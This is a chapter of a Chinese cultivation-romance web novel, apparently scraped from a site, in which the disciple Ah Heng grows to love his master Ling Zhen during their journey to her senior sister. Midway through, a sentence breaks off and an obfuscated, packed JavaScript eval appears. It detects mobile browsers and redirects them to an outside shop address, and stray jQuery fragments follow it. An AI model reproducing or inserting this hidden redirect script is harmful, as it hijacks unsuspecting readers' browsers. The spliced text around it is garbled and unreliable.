令臻想了想,又问徒弟,“阿珩,接下来我们去做什么?你说,师傅带你去。”
阿珩想了片刻,“去看变戏法。”
这是她喜欢的。
令臻欢快一点头,两人沿街,找到一处变戏法的地方。
有变魔术的,还有让猴子卖艺的,两人给了赏钱,又往前走了走,看到一个油锅。
只见一个人呲牙咧嘴的把手放进去,停了一会儿又拿出来,手完好无损。
围观的群众都在叫好,纷纷给他赏钱。
令臻也要给,阿珩按住她的手,小声道:“师傅,这是骗人的,那锅里掺了醋。”
令臻转头看着徒弟,“我知道,我从一本书上看到过。”
阿珩叹道:“那师傅还要给钱。”
令臻理所当然的看着他,“自然是因为他表演的让大家开心啊。”
阿珩不说话了,他松开了令臻的手。他想起自己也曾骗过她,她却没有与他计较,而是原谅了他。
她对他,和对别人,是一样的心软。
令臻看着又不说话的徒弟,开心地去给那人赏钱去了。
阿珩站在那里,他怔怔地想,如果他遇到的不是她,而是旁的人做他的师傅……
旁的人,不会像她这般洒脱,也不会像她心软包容,知道自己曾骗过她,还愿意护着他。
他心里的念头越来越清晰。
先前,他因为她师傅的身份,对她处处敬让。
而后来,他却只是因为她是令臻。
可……她呢?
她是因为自己是她的徒弟,才愿意护着他的吗?
若她收了旁人做徒弟,也会对那人处处包容、心软……
他心中想着这些,又觉得有些失落。
令臻看徒弟走神,问道:“阿珩,你在想什么?”
阿珩看着她,问道:“若我不是师傅的徒弟……师傅还会对我这般好吗?”
令臻笑道:“阿珩,可你现在就是师傅的徒弟啊。”
阿珩看着她笑弯的眼睛,他心中却有一个念头。
他不想做她的徒弟了。
他想……
他的身体发烫起来。
令臻和阿珩挨得很近,她觉得他的体温陡然升高,她伸手去摸他的头,手却被一把抓住了。
她的心跳有一瞬间的失常,她想,她一定是被阿珩给吓到了。
阿珩的眼睛异常的亮,他望着她,像是要把她刻在眼眸里。
她被徒弟的眼神看得慌乱起来,“你…阿珩…你很烫,你是不是病了。”
阿珩却定定地望着她,“我没病。”
他吐出一个名字,“令臻。”
令臻听到徒弟喊她的名字,觉得他果真是烧糊涂了,开始没大没小起来。
她转身就拉着他找医馆,要给徒弟拿点退烧药吃。
阿珩任由她牵着手,在大街上奔跑。他盯着自己的手,唇角翘起来,她心里一直是关心他的。
令臻却在想,他们是修炼之人,身体和常人不同,除非受重伤外基本不发烧。
她想到此处,就停下脚步转过头,准备看徒弟身上是不是有伤。
她却和后面的阿珩撞了满怀,她揉着自己发痛的额头,就要上手扒他的衣服。
阿珩一只手扶着她的肩膀,一只手按着她准备扒他衣服的手,无奈道:“师傅,这是在大街上。”
令臻听着阿珩说话,心中那股异样感又浮现出来。
她的心口觉得被什么咬了一口,痒痒的。
她忽略这股异样,急切的问徒弟,“你可有受伤?”
阿珩摇头,“我真的没病,也没有受伤。”
令臻点点头,徒弟的状态看起来的确不像生病的人。
刚才他还跟着她在大街上跑,是她关心则乱了。
想到此处,她又问徒弟,“既然没有生病,为何喊我的名字?”
阿珩看着她,说道:“师傅也总喊三师伯的名字,师伯都不生气。”
令臻被徒弟的话噎了一下,“那不一样,我和你三师伯是平辈,你是我的小辈。”
阿珩听到“小辈”两个字,心中被刺痛了一下。
他轻声道:“我也只比小师叔小两岁而已,按年龄,我和师傅理应是同辈。”
令臻不说话了,徒弟说的有道理,她无法反驳。
阿珩看着师傅,突然问道:“师傅为何总喊三师伯名字?不喊他师兄?”
令臻边走边说,“阿谦小时候总爱和我打架,和我抢吃的,抢玩的,一点都不像师兄。”
阿珩松了口气,他还以为师傅对三师伯,和他对师傅的心思一样。
令臻继续说道:“不过,三师兄也对我很好,会带我出去玩,会在别的同门师兄弟欺负我时保护我。”
阿珩默默地听着,令臻继续回忆,“小时候,师傅为了省事,还让阿谦和我在一个浴桶里洗过澡。
我和阿谦互相往对方身上泼水,可好玩了。”
阿珩转过头去看着令臻,半晌吐出一句,“师祖也过于心大了些……”
就和师傅一样。
他一时又有些担心起来,师傅对三师伯,真的是师傅以为的,仅仅是师兄的关系吗?
他先前对师傅也是动情不自知,师傅会不会也是如此……
怀着这种忧虑,他和师傅一路走回了客栈。
两人各自回了房间。
阿珩躺在床上,默默叹了口气。
师傅在他心中排第一位。
可他在师傅心中的地位,并不是第一位。
令臻觉得,这几日徒弟的心情又变得沉闷起来,这一路上都没有太多话。
这几日她都是和阿珩轮流决定吃什么,住在哪里,徒弟还是不太高兴的样子。
她叹了口气,徒儿真是越大越难哄。
到了第五日,令臻和阿珩到了西南处的密林上方。
她在空中往下看,郁郁葱葱的一片,到哪里去找师姐呢?
正发愁,就在林中发现了师姐的灵力波动。
她拉着阿珩一起飞下去,就看到师姐和从睿师兄几人正在打一只怪物。
令仪刚挥出一剑,抬头就看到了师妹和阿珩,她说道:“师妹,你退后!”
令臻听从师姐的话,带着阿珩后退,这只怪灵力不高,师姐和身边的几个同门能应付。
令臻转头,看着一旁观战的悟真师姑,拉着徒儿一起向师姑行礼问好。
悟真长老有些好奇,修缘真人的两个弟子都在这里,她问道:“阿臻,我记得你师傅说过,只派了你师姐一人出来,你为何出现这里?”
令臻想着村民失踪的事情,和门派弟子失踪的事情,她没有证据,不好告诉旁人她的猜测。
她说道:“我想师姐了,便来看看。”
悟真长老感叹道:“你们师姐妹感情真好。”
阿珩听到这句话,抿了抿唇,师傅眼里,令仪师姑大概也比他重要。
令仪往这边走来。
令臻看着二师姐,上前几步抱住了她,她这些日子以来,心中都很是担心。
悟真长老知道她们有话要说,笑着先离开了。
令仪看师妹这样,安抚地拍了拍她的背,等师妹放开她,她才道:“怎么了?”
令臻把自己这些日子做的事和盘托出,包括心中对那黑影的猜测。
令仪擦着剑,惊讶的看着两人,他们两个竟然去查这么危险的事情。
她看着师妹,“所以你来这里是担心那黑影又开始抓捕修为高的人?”
令臻点头,“我担心师姐成为那黑影的目标,他可厉害了,一招就能破掉阵法。”
令仪失笑,“那你就不担心你成为他的目标?”
令臻一时失语,“我心中担心师姐,所以没想那么多。”
令仪看着自己一小带大的师妹,阿臻刚上山时,由于是女孩子,便喜欢粘着她。
她那时还经常抱阿臻,后来她心情郁郁,对师弟师妹们终日淡淡的……
想起这些,她神色又暗淡下来。
令臻觉得,二师姐心中始终是郁结的,她也不知道要怎么劝师姐,她怕自己说不好,又戳到伤心处。
毕竟她从来没有经历过师姐这种痛失所爱的心情……
令臻上前抱住师姐的胳膊,“今晚我们在哪里休息?”
令仪答道:“在东边有一处山洞,这几日我们都宿在那里。”
令臻点头,看到本门派的云阳师兄在那边,她便拉着师姐和徒弟过去了。
几人互相都问了好,令臻不认识那边的几个平辈和小辈,云阳师兄一一给她和阿珩介绍了。
令臻和他们笑着打了招呼。
云阳师兄看着令臻,打趣道:“我三师弟邵阳一心想与令臻师妹交朋友,若是知道师妹在这里……”
令仪闻言,看了眼阿蓁和云阳,这是什么时候的事?邵阳师弟爱慕阿蓁?
令臻笑起来,“云阳师兄,我来这里,是来看师姐的,可能过不了多久,我就走了。还是别让邵阳师兄白跑一趟了。”
云阳摇摇头,笑起来,看来,令臻师妹对他这个师弟,没有心思。
阿珩看到不远处几个少年的目光在师傅和云阳师伯身上打转,他看了他们几人一眼。
一个女弟子看着阿珩的目光落过来,和旁边的女弟子小声说了句什么。
阿珩听到了,她们在讨论,自己的容貌,和云阳师伯比
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17722598|208656||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,哪个好看。
他抿了抿唇,悄悄落后几步。
一行人往山洞的方向移动,女弟子们还在讨论。
阿珩听到她们其中一个说:“我觉得云阳师兄和令仪师姐很般配。”
另一个说:“论相貌,的确般配,可是,令仪师姑的性情冷冰冰的,云阳师伯的性子太温和,我觉得不太合适。”
又有一个人说话了,“今天刚来的令臻师姐,看上去性格比较开朗,而且,她可爱笑了,我觉得她和云阳师兄的性格更般配。”
另外两人觉得她说的很有道理,纷纷赞同。
阿珩抿着唇听了几句她们的议论,眉头皱的更紧了。
到了晚上睡觉前,令臻问师姐,“过几日我们去哪里?”
令仪说:“我和悟真长老、云阳师兄商议过了,去南面的一处山谷。”
令臻点头,回头看到徒弟正在用一块巾帕清理石头,然后往石头上铺了一块毯子。
她走过去,在毯子上坐下,拍拍空着的另一面,示意徒弟坐下。
阿珩坐了下来,说道,“这里的地面都不太平整,师傅坚持不了两天,就待不下去了。”
令臻说道:“还没有待够一天,阿珩又知道了。”
阿珩不说话了,他自然知道,她虽然有时会直接坐地上,但是却绝受不了躺在凸凹不平的地面上睡觉。平日里她带着他在外面,也总是住在客栈……
令臻躺在石头上睡着了,阿珩坐在她身旁,也睡着了。
只是到了半夜,她的腰背就被硌的痛起来。
徒弟被她的动静惊醒,问她要不要再垫点衣服,令臻想了想,还是算了。
地面不平整,就算垫再多,也总有几块是凸起来的,她对这些很敏感。
她只能坐起来,靠着徒弟的肩膀睡着了。
阿珩看着师傅的脑袋,觉得有些好笑,又有些心疼。
到了第二日,令仪和悟真长老一行人一早便出发去了密林北面,令臻睁开眼后,就看到山洞里只剩下她和徒弟两个人。
她问徒弟,“师姐她们呢?”
阿珩无奈的道:“已经去了密林北面。他们看你睡得香,就没叫你。”
令臻有些尴尬,自己是担心师姐被那黑影遇上,才来找师姐的,结果师姐一大早就出去了,她却在这里睡觉……
阿珩看着令臻尴尬的样子,安慰她道:“现在在密林,一时见不到黑影,但也许,出了密林,我们就能遇到了……”
令臻一时有些哭笑不得,“若是遇上黑影,说明我们的担心不是多余的,可若是真遇上了,那我们是否打的过也有些难说了。”她又担心起来。
阿珩看着师傅,说道:“师傅曾说过,谁都不知道第二天会发生什么,所以,我们要过好当下每一天。”
令臻笑起来,徒弟现在倒真像她的兄长了,明明小时候,总是她引导、安慰徒弟。
她有些感慨,“阿珩和小时候真的不一样了。”
阿珩看着她,“我已经是个成年的男子了,师傅。”
他把令臻从地上扯起来,“师傅,别担心了。这密林里有精灵,师傅不想看看吗?”
令臻好奇地看着他,“你又是从哪里知道的?”
阿珩自谦道:“幼时看的杂书多了些而已。”
令臻想,徒弟小时候跟她一样,都喜欢看书。
她的手臂被阿珩握着往前走,温热的触感传来,她的心中一片安宁。
不知何时起,在徒弟身边,她最是安心。
徒弟的修为明明比她低,年纪也比她小……她却觉得徒弟和自己的师傅修缘真人一样,让她心中想要依赖。
她摇摇头,觉得自己犯傻了,应该是她保护徒弟才对。
阿珩不知道他在师傅心中的地位,已然和修缘真人一样了。
令臻自己也没有意识到。
他们两个此时正在密林的南面,找书上记载的会跳舞的精灵,然而找了许久,都未找到,阿珩看着令臻泄气的样子,说道:“师傅,我会跳舞。”
令臻张大嘴,转头看着徒弟,徒弟会跳舞,她怎么不知道?
阿珩看着师傅惊呆的样子,说道:“我会舞剑。”
令臻闻言又把头扭了回去,“哦。”原来是会舞剑,她也会。
阿珩想起书上记载的精灵们喜欢跳舞,也喜欢看人跳舞的说法,为了不让师傅失望,他决定亲身一试。
他怕用佩剑会惊到精灵们,于是折了根树枝,开始在林中练起剑法。
一招一式,都是师傅当年教过他的。后来,他自己又加了些新的招式进去。
令臻看着徒弟在林中舞剑,身姿挺拔却又柔韧,袖子和衣摆随着动作飘起来,像只蹁跹的蝴蝶。